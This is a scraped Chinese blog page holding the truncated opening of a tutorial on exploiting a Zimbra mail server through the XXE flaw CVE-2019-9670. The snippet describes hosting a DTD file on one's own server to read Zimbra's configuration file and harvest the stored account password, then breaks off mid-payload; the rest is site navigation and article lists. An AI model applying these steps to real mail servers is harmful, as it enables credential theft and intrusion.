Zimbra
第一步：利用XXE讀取配置文件 這裏利用了CVE-2019-9670漏洞來讀取配置文件，你需要在自己的VPS服務器上放置一個dtd文件，並使該文件能夠通過HTTP訪問。爲了演示，我在GitHub上創建了一個倉庫，從GitHub上獲取dtd文件。 上圖中用紅框圈起來的就是zimbra賬號的密碼，先記下來以後會用到。 dtd文件內容如下： 1 <!ENTITY % file SYSTEM "fil
相關文章
- 1. Zimbra
- 2. Zimbra安裝
- 3. Zimbra是什麼？
- 4. zimbra郵件系統
- 5. Centos 7.6 Install zimbra 8.6
- 6. zimbra安裝指南
- 7. zimbra rce 漏洞復現
- 8. zimbra修改記錄分享
- 9. centos7安裝zimbra郵件
- 10. zimbra明文密碼登陸
- 更多相關文章...
相關標籤/搜索
每日一句
-
每一个你不满意的现在，都有一个你没有努力的曾经。
最新文章
- 1. 外部其他進程嵌入到qt FindWindow獲得窗口句柄 報錯無法鏈接的外部符號 [email protected] 無法被([email protected]@[email protected]@@引用
- 2. UVa 11524 - InCircle
- 3. The Monocycle（bfs）
- 4. VEC-C滑窗
- 5. 堆排序的應用-TOPK問題
- 6. 實例演示ElasticSearch索引查詢term,match,match_phase,query_string之間的區別
- 7. 數學基礎知識 集合
- 8. amazeUI 復擇框問題解決
- 9. 揹包問題理解
- 10. 算數平均-幾何平均不等式的證明,從麥克勞林到柯西
歡迎關注本站公眾號,獲取更多信息
相關文章
- 1. Zimbra
- 2. Zimbra安裝
- 3. Zimbra是什麼？
- 4. zimbra郵件系統
- 5. Centos 7.6 Install zimbra 8.6
- 6. zimbra安裝指南
- 7. zimbra rce 漏洞復現
- 8. zimbra修改記錄分享
- 9. centos7安裝zimbra郵件
- 10. zimbra明文密碼登陸